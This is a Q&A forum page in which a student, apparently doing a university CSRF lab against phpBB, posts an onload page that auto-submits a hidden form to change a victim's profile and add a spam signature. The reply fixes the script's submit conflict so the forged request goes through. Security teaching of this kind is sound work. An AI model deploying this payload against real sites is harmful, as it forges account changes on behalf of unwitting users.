Home/ Questions/Q 8409103
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Asked: 2026-06-09T23:48:52+00:00

The following code creates a POST statement that must end in &submit="Submit" . Unfortunately

  • 0

The following code creates a POST statement that must end in &submit="Submit".

Unfortunately this creates a conflict with the DOM form object.

I don’t have access to the web application as this is part of a security assignment for university. I have been able to manually edit the data via a proxy and add the element to the POST body which works successfully but I would like to be able to do this all via an automated code.

Any help would be much appreciated.

<html>
<body>
<h1>
This page sends a HTTP POST request onload. </h1>
<script>
function post(url,fields) {
//create a <form> element.
var p = document.createElement('form');
//construct the form
p.action = url;
p.innerHTML = fields;
p.target = '_self';
p.method = 'post';
//append the form to this page
document.body.appendChild(p);
//submit the form
p.submit();
}
function csrf_hack() {
var fields;
// You should replace/augment the following lines with
// your form parameters
fields += "<input type='hidden' name='username' value='bob'>";
fields += "<input type='hidden' name='email' value='bob@seed.com'>";
fields += "<input type='hidden' name='cur_password' value=''>";
fields += "<input type='hidden' name='new_password' value=''>";
fields += "<input type='hidden' name='password_confirm' value=''>";
fields += "<input type='hidden' name='icq' value=''>";
fields += "<input type='hidden' name='aim' value=''>";
fields += "<input type='hidden' name='msn' value='456'>";
fields += "<input type='hidden' name='yim' value=''>";
fields += "<input type='hidden' name='website' value=''>";
fields += "<input type='hidden' name='location' value=''>";
fields += "<input type='hidden' name='occupation' value=''>";
fields += "<input type='hidden' name='interests' value='Hacking'>";
fields += "<input type='hidden' name='signature' value='Free spicy sauce @ www.getyourfreespicysauce.com'>";
fields += "<input type='hidden' name='viewemail' value='0'>";
fields += "<input type='hidden' name='hideonline' value='0'>";
fields += "<input type='hidden' name='notifyreply' value='0'>";
fields += "<input type='hidden' name='notifypm' value='1'>";
fields += "<input type='hidden' name='popup_pm' value='1'>";
fields += "<input type='hidden' name='attachsig' value='1'>";
fields += "<input type='hidden' name='allowbbcode' value='1'>";
fields += "<input type='hidden' name='allowhtml' value='0'>";
fields += "<input type='hidden' name='allowsmilies' value='1'>";
fields += "<input type='hidden' name='language' value='english'>";
fields += "<input type='hidden' name='style' value='1'>";
fields += "<input type='hidden' name='timezone' value='0'>";
fields += "<input type='hidden' name='dateformat' value='D M d, Y g:ia'>";
fields += "<input type='hidden' name='mode' value='editprofile'>";
fields += "<input type='hidden' name='agreed' value='true'>";
fields += "<input type='hidden' name='coppa' value='0'>";
fields += "<input type='hidden' name='sid' value='341942b39d0e2af257286aabd65b1e31'>";
fields += "<input type='hidden' name='user_id' value='4'>";
fields += "<input type='hidden' name='current_email' value='bob@seed.com'>";
//this causes p.submit to not be invoked
fields += "<input type='hidden' name='submit' value='Submit'>";

post('http://www.originalphpbb.com/profile.php',fields);


}
window.onload = function() { csrf_hack(); }
</script>
</body></html>
Share

Leave an answer

You must login to add an answer.

Need An Account,

1 Answer

  1. Editorial Team

    Create an input type="submit" on the form, append the whole thing to the page, and then call .click() on the type="submit" button.

    function post(url, fields) {
    //create a <form> element.
    var p = document.createElement('form');
    //construct the form
    p.action = url;
    p.innerHTML = fields;
    p.target = '_self';
    p.method = 'post';
    //append the form to this page
    var s = document.createElement("input");
    s.type = "submit";
    p.appendChild(s);
    document.body.appendChild(p);
    //submit the form
    s.click();
}

    Demo of the concept: http://jsfiddle.net/9dMxC/1/

    • 0